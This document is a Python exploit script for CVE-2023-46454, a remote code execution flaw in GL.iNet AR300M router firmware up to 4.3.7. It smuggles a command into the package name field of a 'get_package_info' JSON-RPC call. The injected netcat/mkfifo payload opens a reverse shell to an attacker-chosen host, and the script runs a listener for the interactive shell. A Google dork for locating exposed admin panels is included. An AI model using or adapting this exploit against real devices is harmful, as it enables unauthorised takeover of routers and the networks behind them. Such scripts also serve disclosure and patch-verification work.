GL.iNet AR300M 4.3.7 Remote Code Execution

`#!/usr/bin/env python3  
  
# Exploit Title: GL.iNet <= 4.3.7 Remote Code Execution via OpenVPN Client  
# Google Dork: intitle:"GL.iNet Admin Panel"  
# Date: XX/11/2023  
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura  
# Vendor Homepage: https://www.gli-net.com  
# Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/release4/openwrt-ar300m-4.3.7-0913-1694589403.tar  
# Version: 4.3.7  
# Tested on: GL.iNet AR300M  
# CVE: CVE-2023-46454  
  
import socket  
import requests  
import readline  
from time import sleep  
from random import randint  
from sys import stdout, argv  
from threading import Thread  
  
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)  
  
def trigger_revshell(url, auth_token, payload):  
sleep(0.25)  
data = {  
'jsonrpc': '2.0',  
'id': randint(1000, 9999),  
'method': 'call',  
'params': [  
auth_token,  
'plugins',  
'get_package_info',  
{'name': 'bas{}e-files'.format(payload)}  
]  
}  
requests.post(url, json=data, verify=False)  
  
def get_command_response(s):  
res = ''  
while True:  
try:  
resp = s.recv(1).decode('utf-8')  
res += resp  
except UnicodeDecodeError:  
pass  
except socket.timeout:  
break  
return res  
  
def revshell_listen(revshell_ip, revshell_port):  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.settimeout(5)  
  
try:  
s.bind((revshell_ip, int(revshell_port)))  
s.listen(1)  
except Exception as e:  
print('[X] Exception "{}" encountered while binding reverse shell'.format(type(e).__name__))  
exit(1)  
  
try:  
clsock, claddr = s.accept()  
clsock.settimeout(2)  
if clsock:  
print('[+] Incoming reverse shell connection from {}:{}, enjoy ;)'.format(claddr[0], claddr[1]))  
res = ''  
while True:  
command = input('$ ')  
clsock.sendall('{}\n'.format(command).encode('utf-8'))  
stdout.write(get_command_response(clsock))  
  
except socket.timeout:  
print('[-] No connection received in 5 seconds, probably server is not vulnerable...')  
s.close()  
  
except KeyboardInterrupt:  
print('\n[*] Closing connection')  
try:  
clsock.close()  
except socket.error:  
pass  
except NameError:  
pass  
s.close()  
  
def main(base_url, auth_token, revshell_ip, revshell_port):  
print('[+] Started GL.iNet <= 4.3.7 RCE exploit')  
  
payload = '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {} {} >/tmp/f)'.format(revshell_ip, revshell_port)  
print('[+] Reverse shell payload: "{}"'.format(payload))  
  
print('[*] Triggering reverse shell connection')  
Thread(target=trigger_revshell, args=(base_url+'/rpc', auth_token, payload)).start()  
  
print('[*] Starting reverse shell on {}:{}'.format(revshell_ip, revshell_port))  
revshell_listen(revshell_ip, revshell_port)  
  
print('[+] Done')  
  
if __name__ == '__main__':  
if len(argv) < 5:  
print('Usage: {} <TARGET_URL> <AUTH_TOKEN> <REVSHELL_IP> <REVSHELL_PORT>'.format(argv[0]))  
exit(1)  
  
main(argv[1], argv[2], argv[3], argv[4])  
  
  
`